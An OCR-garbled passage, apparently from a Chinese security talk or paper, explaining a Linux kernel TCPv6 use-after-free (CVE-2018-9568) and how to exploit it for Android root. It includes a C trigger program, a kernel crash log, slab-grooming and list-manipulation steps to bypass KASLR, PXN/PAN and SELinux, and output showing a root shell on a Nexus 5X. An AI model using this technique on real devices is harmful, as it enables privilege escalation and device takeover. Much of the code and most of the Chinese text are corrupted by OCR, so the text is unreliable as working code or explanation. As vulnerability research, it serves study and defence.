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void main(void)
{

int fd = socket(AF_INET6, SOCK STREAM, IPPROTO TCP);

int new fd, newest fd, client Td;

struct sockaddr_in& bind_addr;

struct sockaddr_in bind addr4, client addrl, client addr2;
struct sockaddr unsp;

int val;

memset(&bind_addr, @, sizeof(bind addr});

bind addr.sin6é family = AF_INETG;

bind_addr.siné_port = ntohs(42424);

memset(&client addrl, @, sizeof(client addrl));

client addrl.sin family = AF _INET;

client addrl.sin port = ntohs(42424);

client addrl.sin addr.s addr = inet_addr("127.0.0.1");
memset(&client addr2, @, sizeof(client_addr2));

client addr2.sin family = AF_INET;

client addr2.sin port = ntohs(42421);

client addr2.sin addr.s addr = inet addr("127.0.0.1");

memset(&unsp, ©, sizeof(unsp));
unsp.sa_family = AF_UNSPEC;

bind(fd, (struct sockaddr *)&bind addr, sizeof(bind_addr))

listen(fd, 5);

client fd = socket(AF INET, SOCK STREAM, IPPROTO TCP);

connect(client_fd, (struct sockaddr *)&client addrl, sizeof(client addrl));
new fd = accept(fd, NULL, NULL)

close(fd);

val = AF INET;
setsockopt(new fd, SOL_IPV6, IPV6 ADDRFORM, &val, sizeof(val));

connect (new_fd, &unsp, sizeof(unsp));

memset(&bind addr4, @, sizeof(bind addr4));

bind addr4.sin family = AF_INET;

bind addr4.sin port = ntohs(42421);

bind{new fd, (struct sockaddr *)&bind addr4, sizeof(bind addr4));
listen(new fd, 5);

client fd = socket(AF INET, SOCK STREAM, IPPROTO TCP);
connect(client fd, (struct sockaddr *)&client addr2, sizeof(client addr2));

newest fd = accept(new_fd, NULL, NULL);
close(new fd);

close(client fd);
close(new_fdJ;

}
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*
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Unable to handle kernel paging request at virtual address deadbeafdeadcaaf
pgd = ffffffceca3zboon

[deadbeafdeadc6af] *pgd=0000000000000000
Internal error: Oops: 96000004 [#1] PREEMPT SMP

CPU: 5 PID: 18131 Comm: NN Not tainted 3.10.73-g6ab44c5-dirty #255

task: ffffffcoz61denee ti: &FffffcO5eaz20000 task.tI: ffffffcO5eazoonn
PC 1s at kmem cache alloc+0xb8/@x24c

LR is at kmem_cache alloc+0xa8/@x24c

pc : [<ffffffco00301038=] 1r : [<ffffffcOOO301028=] pstate: 00000145
sp : ffffffco5ea23cbo

X29: TfffffcO5eaz3chd x28: 0000004400000000

¥27: ffffffcoandez3ac x26: ffffffconl2fcova

X25: TfffffcAO1819e30 x24: 0AOOAOOOAOABOOHEO

X23: O0000000000004TE x22: fIffffbcOfelc4Bn

x21: ffffffco5eaz0000 x20: deadbeafdeadbeaf

x19: ffffffcO71cfb780 x18: 000000007TOOOB0O

X17: 0000AOEAOOAAOAAE x16: FTfffffconodeassfo

X15: 0000AAEAE0AEEO0T7T x14: 00000000 FFbffd7

Xx13: 0P0PAOT72f9dOc428 x12: OAOOAEOOOOAEOO1O

x11: 01901010101010101 x106: 01010101016010001

%9 : fefebefefefefeff x8 : 0OA000006d7b262a

X7 : 0000000000000000 x6 : 000000000000001C

X5 @ TfffffcA6116cd8e x4 : 0AOEAAOEAOOBOO50

X3 : 0000000000000760 x2 : G0000O00O000000000

X1 : ffffffcoeol2fc6ad x0 : Ffffffco01al19398

Process wrmbipmmespeses (pid: 18131, stack limit = exffffffcd5eaz0e58)
Call trace:

[«ffffffcooe301038>] kmem cache alloc+@xb8/ox24c
[«ffffffcooedez3a8>] sk_prot_alloc+0x30/0xes8
[<ffffffcoeede34ds>] sk_alloc+0x28/0xa0
[«ffffffcooaddf720=] inet6 create+0x114/0x30cC
[«ffffffcooadon7fe>] __ sock_create+@x10c/0x180
[«ffffffcoondensas>] sock create+8x3c/0x48
[<ffffffco00dE0934>] SyS_socket+0x44/0x108

Code: 350001c@ boOO5eed b9802263 f9414800 (f8636a83)
---[ eld trace 468d65e061f76729 ]---

Kernel panic - not syncing: Fatal exception
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int setxattr(const char *path, const char *name,
const void *value, size t size, int flags);

M setxattr FYSCEL ] IAFEE]
if (size) |
if (size > XATTR STZE MAK)
return -EZBIG;
kvalus = kmalloc (size, GFF KEEENEL |
if ('kwvalus) { N
vwvalus = wvmalloc(size) ;

__GFP_NOWARN) ;

if (!'wwvalues)
return -ENOMEM:
kvalus = vvalue;

}

if (copy from user (kvalus, value, size)) |
error = —EFAT_TLT|
goto Jlout:

}
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® FEi wrongzone sk

® CKIEIN defrag sk 0, defrag sk 1, defrag sk 2, defrag sk 3....... defrag_sk t-1;

® [CORFERL fill sk 0, fill sk 1, fill sk 2, fill sk 3...... fill_sk t-1;

SR ERPERE, BT UFHZE—E

]



TCPv6
kmem cache cpu

| — partial

struct page struct page
next // next — | /
freelist ——  freelist
Evil TCP slab TCPv6 slab
occupied
occupied
\ occupied
wi | follow sk ( occupied
occupied
fragmentation
evil mem addr occupied
evil mem addr
evil mem addr
evil_mem addr NUL'L(_ -
/ occupied
fragmentation fragmentation

evil mem addr

evil mem addr

M_EE ST MEZ], Evil TCP slab £ TCPv6 kmem_cache cpu f4 partial & £, 3B, H
freelist ¥5[a) & fJ5—)> object,

3) TEIFBIEE tcpvb socket, FEIE—X, #RE—T evil_mem LEBEY mark B EH#E
K, MMREZIMBER, i BAFEAIMINAZE evil_mem EEIE T — tcp6_sock I 18K T
IlL B A9 tcpv6 socket fd, A4 evil socket, XFR7AY tcp6_sock X4 4 evil_tcp6_sk,

A ALESTE evil_mem EBIE— tcpb_sock IF&?

HTETEIRBIE tepv6 socket fitF2 A, Evil TCP slab SRS EEFSE] TCPV6
kmem_cache_cpu B freelist Fr7E A9 slab, FFAM B tcp6_sock 3% . M Evil TCPslab E43»
BCE— tcpb_sock fF, freelist BT, #heHINAMFRIE



NULL

POE§

(5)

evil mem

evil tcp6 sk

ZEH] evil_proto :

NULL

TCPv6
kmem cache cpu

partial
| — freelist
— page

struct page

next

freelist —

Evil TCP slab

follow sk

tcpb_ sk

MG RZEEMINE, FTiEBFER exploit
FEEVE tcpb_sock TR IR evil socket Z 5, T—H i 25 A H T4,
— R VTR B B Z A& 2L tep6_sock FAY sk_prot B 5, K HEHIEE— P ELMWIELFHY proto

NULL

e

fragmentation

evil mem addr

evil mem addr

evil mem addr

evil mem addr

evil mem addr

evil mem addr

BHEMRER freelist 185 7 —PMEAVIEEN A ARG, EEHSE— tepb_sock
BRBAER T HNEFNEASRNE.
ZEith, FIKEE] T — tep6_sock 5E& T I #E F {135 % A9 evil socket,



evil tcpb sk evil proto

kernel sock ioctl

kernel sock ioctl

kernel sock ioctl

sk _prot —

kernel sock ioctl (J&:A
setsockopt)

kernel sock ioctl

kernel sock ioctl

¥ evil_proto NERFTH R EISETERE 2 4 kernel_sock_ioctl By3bilt, @3 %t evil socket i
Fi socket ZRZtIEM, 40 setsockopt iK%, ol Ak Ih#nFTE] kernel_sock_ioctl F1, & B4
evil_tcp6_sk Lk offset 918, if kernel sock_ioctl 35 X4 BT FE A9 addrlimit &2504-1, It
E A A—EERFRNE L TENNZERINES, REENERIHZERN uid &,
SRR

FREEET LVRENE ., E=-E A kernel_sock _ioctl fyithik IX R IR INAS S KX B 89—
LEZEME offset AR LHFEZR, FEHERZNFABAMH LS, FSEXAEMNE
ZHOEEL (FEXNAZML . EMWRFEEEFMERL) . A7 HENLRLNF HEBENE
ZMEE, RNFEMEZHNES.

—RRUE, REAIZERMAIEER 75 7A = 5L patch addrlimit, AFBEELERGFERABHE
MEER. IPMATEEZHNEMNREE ANARREXN. WAXNBEE, X CVE-2018-
9568, F A1l INE ZHMEIBEM N B EREHE XA [E

BERE R IUSEe i evil_tecp6_sk, NRIKATTTIUNFE evil_tcp6_sk EIRFIFLEFESTR R
(HEZEZEHRENIES), FEBRPATRGEE socket 103X R S5iA FXS b5 5T AR R 18 | A 544
HIT—HHEEAERE, XHERTUBSAEEHIEHNE, TRAZERMINET .
R BB T AT 7R
struct tcp6_sock {

struct X *p;
}
struct X {

long val;




long syscall_x(...... ) {
long val,
struct X *pointer = tcp6_sock->p;
val = pointer->val,
return val;

ks
MR EE, R AT IUIEH tep6_sock 548 ERERE1E, Fr 0T UIRBME 5355t
p, REE p WESATANEEEZE N, 7 0] R R#rifE A syscall_x 3REE
xR R AZ I RYE T

BB EARARZERUGENMIETT X, BT IXEFR S UEA getsockopt FkZ a0 THEX
AL
case TCP CONGESTICN:

if (get user(len, optlen))
return -EFAULT;

len = min t{unsigned int, len, TCP CA NAME MAX):

if (put user(len, optlen))
return -EFAULT;

if {Eapy_ta_user-joptval, icgk->icsk ca opsS-»nams, l=n))
return -EFAULT;

return 0O;

b4k icsk $51m AL B A evil_tcp6_sk Pr7Edtbdl, icsk_ca_ops F5Er 0] I ERIES], T
name S5 DL E| optval 1, IREIFIAFZE, BENREEZEN EAES—. ER LAYEE
AR, BT UZAERRZMIEERAEE, ~d, EFERRZ A - NERE
icsk_ca_ops 7£ evil_tcp6_sock A9 offset ?

icsk_ca_ops K & 2] I A setsockopt #1TIRERY, of MBI T ELI& BRI/ evil_tcp6_sk
NFROT M TS A icsk_ca_ops 7 evil_tcp6_sock 3 offset, 1% & icsk_ca_ops A9LAE 4N
- -

if (setsockopt(evil socket, SOL_TCP, TCP_CONGESTION, “reno”, strlen(“reno”) + 1) <0) {
perror(“failed to setsockopt TCP_ CONGESTION”);
}

ZEIt, FAIEA patch addrlimit FYER T Lol UEERAZMILE . FEPBEER
RIBRF, MATFFEENRIZERE R, REBFFT SR T IUEE kernel_sock_ioctl #b
i, FAFETHER offset FHFERTT UM AFBITH R, BETUNEE jop 8. BRTH
SHhiit, offset FR@AzE, B AENMNRENANETREN, XERZR T BaER
exploit,

(6) F&BEIE
& 4 evil socket {9 evil_tcp6_sk =M FAESDECH, BEENHH#TENESS| X NIZH
&, BT IATT I B 3238 evil socket 9 sk Al A S 4 NULL, R EBER.

3.3 ’WHR

MTER:



bullhead:/ $ getprop |grep fingerprint
[init.svec.fingerprintd]: [running]
[ro.bootimage.build.fingerprint]: [google/bullhead/bullhead:7.1.2/N2G470/3852959:user/release-keys]
[ro.build.fingerprint]: [google/bullhead/bullhead:7.1.2/N2G470/3852959:user/release-keys]
[ro.vendor.build.fingerprint]: [google/bullhead/bullhead:7.1.2/N2G470/3852959:user/release-keys]
bullhead:/ $ /data/local/tmp/pwn

PID = 6913

num cpus = 6

memory size = Ox716ccOo0

ro.product.model = Nexus 5X

ro.build.display.id = N2G470

ro.product.manufacturer = LGE
memset :0x88880000 to O

a while

icsk_ca_ops_off:0x400, tcp_init_congestion_ops_addr:ffffffce01a10698

start vaddr:ffffffcooeeseemd, end vaddr:ffffffcee3f7e000

kernel sock ioctl:ffffffceeecffsbc

start_vaddr:ffffffco00080000, end_vaddr:ffffffcoe3f7ooee

[+] init_task = ffffffceeil9badae

[+] /init = FFFfffcAA7298000

[+] /init cred = ffffffco22111480

[+] struct cred

[+] self task cred

finish rooting

fix success

Spawn a root shell

bullhead:/ # id

uid=8(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r
#

4RI BT EZ

MATNEZXMT S5ATTFIRITERMR SRR, KEE
RH#TTM EARTTESR, TNEAT ENEESHAIE ,wfi EJIR, FEAAEIE jop %EE’]I*
ATEATEEME | BERITE—PRINAZERINRAETT L, RETAE B3
EEZMEEH B,

4.1 RPBEE

B, BNESERH— DA - HoB— tep_sock X E B, tcp_sock SR IEHEE
Y next 385 FFAHIER, slub allocator L2 1EERLL next F85HHIE, MREE freelist, BENTER
BE— /BT R B ERE,

ﬂﬂi?ﬂél# wrongzonesk%&hﬁﬁﬁt FR7E slab &b F K7, @ NEFr7R, wrongzone

freelist

/ NULL
€] ] o (] (0] ’] b

R
Parvd

Sk_l Sk_z Wronsgkzone Sk_3 XX XY X




o] {FZ, wrongzone sk f5E X ERAY next 55K IATEE T sk_3,
wrongzone sk #FBFHEAIERAT ¢

freelist

\/ NULL
‘ ‘ ) ) o - 1
N N \ 3 \ \ G 1

sk 1 || sk 2 | Gomeelbk 30 eeeees

[ IXEZ|, E A wrongzone sk # & pY tcp6_sock FF, SEHE/FHEAY next 55X B HKIE
mihRE, MEEF SR 7T sk 3R FX . M wrongzone sk f5TH AY next 55k FA3515) sk_3
NTE, XHZET —NETHNER sk SFTENRNEFERAZE TH S RS, BAIWEA
7 freelist $&4 . NRBMIL slab _EPECR % tep_sock X%k, #e I sk 3 FEX #H AR
socket {F ., REAVRE - WA socket F£Z T FE— tcp_sock, FKNER—NHZET sk_3
7Y socket % 4 dup_socket,

ET FEMMER, &5 slab E X R EIFTAE socket £f close, iX#f, It slab 2 A4 TR,
{B{REB dup_socket A~ close, £ % slab FTEHERLEZ M TEHWEU, XEGIKFIERS. (B
2, ILAY dup_socket £ sk B RAKAATE R B AY slab £, XEFMEL 7 — UAF 75,

JE£: 097 A B B& A I Ay B A PingPongRoot B E&HE(N, 1B= & A RXBh 1P FER VIR T,
FrId, MEREZEESFTERER,

4.2 R=PURTE

BiE— 428 TCPslab 5 t 28§ object,
(1) BJEA= top socket
It 4b Bl A B HY socket f9 T H 2% kmem_cache TCP TEHIFTA £E 77 object ZRHEE

58, REILEEIZBEH 2 tep_sock [ #= MN— P RIRIFT2Bo) slab Eofe. BEERERENGE
Lk #B4> socket 74 run_out_socket.

(2) #EF A dup socket
(AT AZEHE A dup socket ? JFELER D HTTHERE)
1) fIE—4 wrongzone sk ;
2) €IEE3/) tep socket, FR:A follow socket ;
3) BI&Et 4 tcp sockt ;
Ith4b B EE t 4 tep socket B4 B H9Z 4 wrongzone sk Fr7ERY slab 3Ei#, L E T AEFHRE.
Lk ER4> socket F7A4 fill_socket.
ERETERZE, TUEEITEMNER



Evil TCP slab

run_out_sk

run_out_sk

run_out_sk

run_out_sk

run_out_sk

wrongzone sk

follow sk 0

follow sk 1

follow_sk 2

fill sk

fill sk

fill_sk

fill sk
fragmentation

kmem_cache TCP i — M bT 2@ IAZSH Evil TCPslab,
EAeimE (1) FaYHEE{E, {RIUET Evil TCPslab #IE# Z Bl — M RINIMIKEER BEC R S5
B SR A9 FETHY slab, — N3RS slab M MR #Ia61L ERYIE R0 T RIFf 7= -

freelist
v A ~ A~ >NULL
N _ N
object fragmentation

freelist 43 74 44 object $EREIF R0 object A3Hb 4 BT /SRS — B, X MEMARIE T Evil TCP
slab {9 EBERT AR5 T ERIS— -

> > (> 62 62

72

A A} A}

wrongzone

sk follow_sk_0 || follow_sk_1 || follow_sk_2 || -

run_out_sk

4) Fix follow sk 2
FERUE Evil TCP slab I aN TH

freelist

. o > v (5,/ L

wrongzone

follow sk 0 || follow sk 1 || || o=
sk

run_out_sk




5) F wrongzone sk
FemUa Evil TCP slab F4H5 20 T

freelist

/

(6.4 (¥ (¥
v A

NULL
- A

b

run_out_sk 1low sk 0 || follow sk 1 || || ===

ol EE], IWAME T —NF N2 W object B freelist %,

6) BCARER tep socket

Ith4b s> BE K 2 /Y tep_socket BRI E B WA | —2RIEEEC top socket fYIF 2 —E 7] IX
4 Evil TCP slab FREyPI“Zs [/ object AASE ; —2 A T RIEEEARTT RIS = /Y Evil TCP
slab [,

b B4 socket #7h make_dup_socket,

SEERE, TINEENE  make dup_socket EETEASREF B socket, XFAS socket 43
FF0 follow_socket 0,follow_socket 1+ 7T tcp_sock Z5#4, X socket #R 4 dup_socket,

W{aT M Ax % make_dup_socket 3kt P> dup_socket? 77 AL RIE, T IXBE 0 5%
follow_socket_O0F0 follow_socket 1ff#ric, AfFiBHAES make_dup_socket, 1R & IN+E[EFR
18, WREHE] 7 R AY dup_socket, ZEULFA1EM T setsockopt F Ay SO_REVBUF 1% 1 K fi
FRIC

I ERICEY 773%, &5 o] 3% 2 follow_socket Ot/ A9 dup_socket O,follow_socket_1
X R7 B9 dup_socket 1,

(3) [ElU& Evil TCPslab
L BHITIOTRIE -
1) #%ifF close Frf run_out_socket ;
2) 4>k close dup_socket 0, dup_socket 1 ;
3) #ZJmfF close FrA fill_socket ;

SERllL B S, Evil TCPslab siE £ 24 ZIRAT, FH7 kmem_cache_cpu f partial
fER b (B partial $Ek FE S slab FA—EEREBR, RIEHE—EELMG. BRER
FMARFFTHANAE, € slab FERERE — object FIRTE, slab < #5ENF & H]
kmem_cache_cpu 9 partial $3&kH ., ARANTEFNRLINER partial HFRPEZHZF
NEHEBI T —1EIEE, RUASKIR partial FERP L= slab #HiTEIK, X, A
T H#{R Evil TCP slab #[Ell, AFEERM—LEH slab LAY object, thEhE T —PEMAY
EXE

4) 3Z|nfE close FrA By make _dup_socket(dup_socket f&5h) ;

(4) “4EHFK"Evil TCP slab
BT mmap N EE AR TR, T ILHFK"Evil TCPslab, B{A/RZIETt]£2% PINGPONG ROOT
A, RENTRAT



Evil TCP slab

kernel
AN physical
) pages

mmap_mem -~ N

user

7S mmap > BECAYAfFELS Evil TCPslab £ = 7 B — R4 IERN .

A AEFHRERF, E—REAFTEMRR | OEIHMES LRI 3k "Evil TCPslab ?

BUE P a9 ) follow socket f4 tcp_sock ik A7E Evil TCPslab |, FrlX, of {383 socket
IR LR GIEAXS tep_sock #1T#1E, BT —Y4rc. BIIAME, BB IAER SR
i3k, FFETTUANE tep_sock Xt YA AZSHbE, mmap —E B33k Evil TCPslab, R4
B FFrBERAESH B A0, setsockopt, getsockopt XL R ZRiARZA AR selinux A
hook & £iit, <& 4 tep_sock H1AY sk_security 5 NULL ik ¥,

7 socket {19 ioctl SR A E] 7 O] | A SRIARIC RIS

switch (omd) |
case SIOCGITAMP:

err = sock get timestamp (sk, (struct timewval user *)arg);
break; - - _

case STOCGSTAMPNS:
err = sock get timestampns (sk, (struct timespec user *)arg):
break; - B T

SIOCGSTAMP #1 SIOCGSTAMPNS 3 7] )M\ i3k X tcp_sock ##RriC, X mmap %R /g,
=3Bt joctl X¢ follow_socket_Offi#Ric, & &M, mmap HAFHEIL T IEOE, N5 AR HEzk”
M. FETINEERNRZ, FE0EE follow_sk_0fY sk_flags #0 sk_stamp {53, EIRHLILITE
5% follow_sk Ot By 7St BEIRME, XERAESERIK Evil TCPslab, /B3
Fr_E o] 8B {X 2183k E] T follow_sk_OFN follow_sk_1Fr7EA9#3ET1, FIEEA Evil TCP slab,

BRIEXR, WH AT AT PINGPONG ROOT #8{ik, AIMAEEIGEE ZHkER. F AN
EREZBIPFREZLE TRANIET, BIEHIK E] Evil TCPslab, #n%FiE#id KASLRY,
PXNE PANPIZEZ NIZBHIP F R, Bt T A MBI RA IR, T T ERANERR,
RI T —EE P SEE IS KASLR, PXN,PAN F R FEREF A%,

(5) Bypass KASLR/PXN/PAN %[5, I
214 EIR PR, BAIFRERE] T follow_sk_OXt iy By A A2k, 7 H follow_sk_1th7E mmap
AL, {E2ILR follow sk 0K R kT sk_flags F0 sk_stamp [Y4b, £#B40, HEH
FEAEEME.
XfF follow_sk_0#0 follow_sk_LiX PR I%IRE] tcp_sock TS, BEBLELEEZEMT



Ex, LbamiAARLE socket RGIEA, KMEAZMILEREESN, RENTHRETSHER.
BENTTEART BRINMNMEBEEERE LRENTFER, b, BEHFE—LERBRENTR
BOD#HAAE? AR LESHHABRSEME R EE S EME, WAF I DUHE — LR
Holk

ERRLELN, XMHNBRENHEEEN !

¥ socket bind 235 € i O B, =45 socket XJ & Y tep_sock $% 3% £ —“local port bind bucket”
R, BIAEH tep_sock # sk_bind_node Af Z 5% 2] —4 hlist 1,

hlist_head
( \ NULL
N\ //
'\\k/_///
hlist_node hlist_node
next
pprev

Zn L[, hlist A9 hlist node &M M5%F, next #55HF0 pprev #5%t. next 185 IZERI @,
#8515 " — hlist_node; pprev 557 /G E, #81EHI— hlist_node Ay next $55TAYHLE, pprev
E—MEEIEEaYIsE .

AT U R B T E X F hlist /)3

hlist head

(=

\ /

Y]
— NULL
follow sk 1 normal sk follow sk 0
sk_bind_node sk_bind node sk_bind node next
pprev

1t follow_sk 00 follow sk 1z [@ZFiF— @AY normal_sk, &EX&H gAY normal sk %4
=MBR, hlist =38 &



hlist head

(o

N /
\ ~
'\ /
follow sk 1 follow sk 0
sk_bind_node sk_bind_node next

pprev

XM RIEFESTIE. EMER normal_sk =B, BRETRAANBHEME : & normal_sk
25 B next 38 EIEWELS follow_sk_145 5 B9 next #8551, 4§ normal_sk &5 =/ prev 55K
B4 follow_sk_0Z5 =Ky prev #5§t. BENEEMNEER@EM normal_sk &R EZiHA
follow_sk_170 follow_sk_0,3f H BN EIREE X RN E 29l XA EERKNEEEFRZN

i
R R FER BRI HERT, 20K Evil TCPslab ##3kfE, se9fZman Ty hlist
hlist head
( —
NULL | NULL -~ NULL | NULL
\
follow sk 1 normal sk follow sk 0
sk_bind node sk_bind node sk_bind node next
pprev

follow_sk_1#0 follow sk _0%% & A9 next, pprev 355t E 5 mmap g9 {EHZE 4 NULL, 0
R UL A H normal_sk %5 S Bk, AR4 follow_sk_170 follow_sk 0% SAyhit i B AR E£EH
WNEFEL, WREBEET mmap WAFRLE, XFERTK TEEME !

BANBRERXESERTAN, BEELLHITE, AATEEERENEAT, JLF
KNeJgEME B FPFromBY hlist $53%. B9 71k Evil TCPslab RIF&=URES, BANLTE
follow_socket_0. follow_socket 13§ dup_socket 0. dup_socket 1%f close 35, close 32 {EA %A
=1 follow_sk_1. follow_sk_OF25 =M hlist ik, Frid, EFREMNERLT, mmap #
3k Evil TCPslab B IhfE, A tJsEH I _EEIFAY hlist A3,

ERLARABBRAZNEFRIEMS, MRBATTRIGE DL —LBHA hlist B8 7 5EFE,
BMEL TS follow_sk_1F1 follow_sk OB AL SEEHRME hlist mX, BAEMNE
follow_socket 0. follow socket 15 dup_socket 0. dup_socket 13X %} socket 3§ o] iX B N 45
R, WEFMZ, 7 follow_sk 171 follow_sk ORI R ERARIMB R GH A AER hlist EFH
BBRXBNER—K, XN ESRRASREERE hlist £, AT, REANZIRHAE, A
BE{RUE 7 Evil TCP slab AEZR7Z, XA RUET follow sk 1F0 follow sk O{REE#E 7 hlist L,
&a, BRBEIMER normal_sk {5 SMERMIEFTTET .

THDAMNNABILNKER, RETHRIEN
1) SitEE follow _sock Oy iZ#thtit#1—-N1EF socket B4 tcp_sock Hhtit



— SRR REIEAIHNEREITN. ATEBRX—BH, RMNEFTEEZHNSEF
%‘“?ﬂi—‘%@ﬁ%ﬁ’ﬂifﬁ ;
A. BIE=/ E38 tep socket, FR4 bind_socket ;
B. ZRIEEIES fill_socket = [FH&IRFH0 4740 21
W FE— 0] ARy ARG O, %7 9 BIND_PORT ;
bind bind_socket 0% BIND_ PORT ;
bind bind_socket 1% BIND_PORT ;
bind follow_socket 0% BIND _PORT ;
bind bind_socket 2% BIND PORT ;
bind follow_socket 1%] BIND _PORT ;

EARXERER, BRTAITH hlist :

hlist _head
— e e
" ~_ " — N
NULL
follow sk 1 bind sk 2 follow sk 0 bind sk 1 bind sk 0
sk_bind_node sk_bind_node sk_bind_node sk_bind node sk_bind_node

E next
E pprev

C . TEMEIF A dup socket = SRR {720 IR 1k
bind dup_socket_0%/ BIND_PORT;
bind dup_socket 1% BIND_PORT;

Al & dup_socket_0, dup_socket 143515 follow_socket_0,follow _socket 13it= tcp sock,
Frld, ERERTEESHIL— 1 ERA hlist, 20TE,

hlist head

/|

i\\ . —
. | -1 -1 | N
Y
NULL
follow sk 1 bind sk 2 follow_sk 0 bind sk _1 bind sk 0
sk_bind node sk_bind_node sk _bind node sk_bind node sk_bind_node
/ /
dup sk 1 dup sk 0
sk_bind_node sk_bind_node E next

| pprev

EEEESHEH, dup_socket 0F1 dup_socket 14> Ri# close, hlist 23



hlist _head

m 4 i
] Bl ) A N |
'\/4 NULL
follow sk 1 bind sk 2 follow_sk 0 bind sk 1 bind sk 0
sk_bind_node sk_bind_node sk_bind_node sk_bind_node sk_bind node

D . 52k Evil TCP slab“#3k “ E &R FH14 740 TR 1E -
close bind_socket_2;
close bind_socket 1;

ARFTEENANEIEZRT, hlist i

hlist head
/
NULL | NULL -~ NULL | NULL -~ N
Y
— NULL
follow_sk_1 bind sk_2 follow_sk_0 bind sk_1 bind _sk_0
sk_bind node sk_bind node sk_bind node sk_bind node sk_bind node

next
pprev
#HIT LR RIEZ/E, hlist £ ¢
hlist_head
NULL
follow sk 1 follow sk 0 bind sk 0
sk _bind node sk_bind node sk _bind node

[::::]next
| pprev



LbEFAY hlist EEHRRT, ELEIM 7T AR ME, o7 IXNFEEF, follow_sk 0
sk_bind_node #y next f§%t#5/m 7 bind_sk 0fy sk _bind_node, pprev 5%t45Mm 7 follow sk 1
sk_bind_node ; follow_sk_1 sk_bind_node £§ next $5%t451m 7 follow sk 0 sk_bind_node, 3tfr
BRIENARAT, FTENEAS mmap RFHRFIE0E

user_addr:0x7a477d4598, iexffffffceog780018 } .
user_addr:0x7a477d45a0, :exffffffcof73idadis follow_sk 0 sk bind node

user_addr:0x7a477d45e0, :0x80 }follow sk 0 sk flags:sk_stamp

user_addr:0x7a477da7be, 10x15977d441c203eel
user_addr:0x7a477d4d1s, b SRR ClRELEEEEM —follow sk 1 sk _bind node. next

SR 58I X LS 5B ) A9 A%t A1k o] DUHE L follow_sock _ORY A Az b 3t F1— N IE & socket,
tHi= bind_socket Of§ tcp_sock i3k T

2) MIERZERHUEE

B BTEAIZRERE] T follow_sk_OYAZHIE XK Xt R Y F R 7stttiE, =] I3 follow_sk_O
PREERYX —RAIETT, X EF AR A ITE—"F I —1F,

B+, EA“FBIE—"PHENMENRERINENTHEE R A RE T EERNEX
RBEER. EHMEXARBE, FKMNZIME getsockopt AR £ (ZHF44RZAB) BF
FEAARD



SYSCALL_DEFINES[getsockopt, int, £d, int, lewel, int, optname,
char user *, aoptwval, int user *, optlen)
{
int err, fput needed;
struct socket *sock;

sock = sockfd lookup light (fd, &err, &fput_ needed):;

if (sock '= NULL) {
err = security socket getsockopt(sock, lewel, optname);
if (e=rr)

goto lout put;

if (lewel == SOL_SOCKET)
err =
sock getsockopt (sock, level, optname, optval,
optlen) ;

case S0 GET FILTER:
len = sk_qet_filter(sk, {struct sock filter _ user *)optval, len):
if (l=n < 0O)
return len;

goto tlenout;|

int SR_get_fllter[struct sock *sk, struct sock filter _ user *ubuf,
unsigned int len)
il
struct sock_fprog kern *fprog:;
struct sk filter *filter;
int ret = 0O:

lock sockisk):
filter = rcq_dereference_protected(sk—>sk_filter,
sock_awneq_hy_user[sk]);

if ('filter)
goto lout;

/* We're copying the filter that has been originally attached,
* s0 no conversion/decode needed anymore. eBPF programs that

* have no original program cannot be dumped through this.
B

ret = -ELCCES;

fprog = filter->prog-»orig prog:
if ('fprog)

goto Jout:

ret = fprog->len:

if ('len)
/* User space only enquires number of filter blocks, */
goto Jout:

ret = —EINVAL:
if (len < fprog->len)
goto Jout;

ret = —EFAULT;
if (capg_ta_user(uhuf, fprog->filter, hpf_classic_praglen[fprog]))
goto Jout;

/™* Instead of bytes, the API requests to return the number
* of filter blocks.
.
ret = fprog->len:
out:
release sock(sk):;
return ?et;
} « end sk_get_filter

oJ IUEEF], sk_get filter &£ py“sk->sk_filter->prog->orig_prog->len”, 3 B &4 1R B2
ERMNE, XPMREXEFHRSRMNEENERI. PR T UF AT EEER
ZAERMINE. MESBRPRFZHEILNXNR, XILNXRET IXAIATT IXFZ S XN

o1 ENE.

RERRBIN— )8 : Bypass SELinux, getsockopt FH<iF A SELinux fY hook %% :



static int SDCk_has_perm istruct task struct *task, struct sock *sk, uil perms)
{

struct sk security struct *sksec = sk->sk security:;
struct common audit data ad;
struct lsm network audit net = {0,};

u32 tsid = task sid(task);

if (sksec-»sid == SECINITSID KEENEL)
return 0;

ad.type = LSM AUDIT DATA NET:

ad.u.net = &net;
ad.u.net->sk = sk;
return avc _has permitsid, sksec-»sid, sksec->sclass, perms, &ad):

77 follow_sk_0_F A9 sk_security 4 NULL, FrlX E#EXF follow_socket 17 getsockopt =
Him., EEMBERNIUE— sk security struct Xt &, FHiGHEM M4 follow sk 0fY
sk_security, [E]Rf4 sk_security_struct X2 4 sid 4 SECINITSID _KERNEL, X#fgksEsd
T selinux.,

3) Bypass KASLR
FARTE AAZEEH UL ST IXFRERE] bind_sk_ 0 EANMAZ, #HTTINIKENE sk_prot, B4
bind_sk_OfY sk_prot £ gk A% £ F/HE = tep_prot, X4 KASLR 5ol | Bypass 7 .

4) 3=
RN FrAZES T AITE—"—1. FHEZRRE N AZER IR USREE A
Wiz, REMBTTSR. SISERjop F, RETHENR, FEER,

4.3 MR

OxfFfFfff93560b2000 idmap_pg_dir

OxfFfFfff93560b5000 swapper_pg_dir

OxfFfFfff93560b7000 reserved_ttbro

OxffFfff93560b8000 _end

[DBG][4211][sock_prot_conf_priv_elev:917] offsetof(struct proto, close) = @x0@
[DBG][4211][sock_prot_conf_priv_elev:918] offsetof(struct proto, getsockopt) = 0x48
[DBG][4211][sock_prot_conf_priv_elev:928] _stext = @xffffff9353481000
[DBG][4211][sock_prot_conf_priv_elev:941] __ hyp_text_end = @xffffff9354658000

[+] Reading kernel text, 0x11d7000@exffffff9353481000

[DBG][4211][sock_prot_conf_priv_elev:981] exffffff93534f2d60: ldr x8, [x®, #2264]; ldr x9, [x0, #2304]; str x9, [x8, #200]
[DBG][4211][sock_prot_conf_priv_elev:999] kernel write primitive = @xffffff93534f2d6e
[DBG][4211][sock_prot_conf_priv_elev:1025] offsetof(struct sock, sk_state_change) = @x288

[+] Success

[DBG][4211][koffs_init_task_struct:55] offsetof(task_struct, comm) = @x788
[DBG][4211][koffs_init_task_struct:70] offsetof(struct task_struct, tasks) = 0x4c8
[DBG][4211][koffs_init_task_struct:92] offsetof(task_struct, stack) = ©x28
[DBG][4211][koffs_init_task_struct:93] offsetof(task_struct, cred) = 0x778
[DBG][4211][koffs_init_thread_info:108] offsetof(struct thread_info, addr_limit) = 0x8
[DBG][4211][root:66] task = exffffffdef22bag4e

[DBG][4211][root:71] stack = @xffffffdoedc3cone

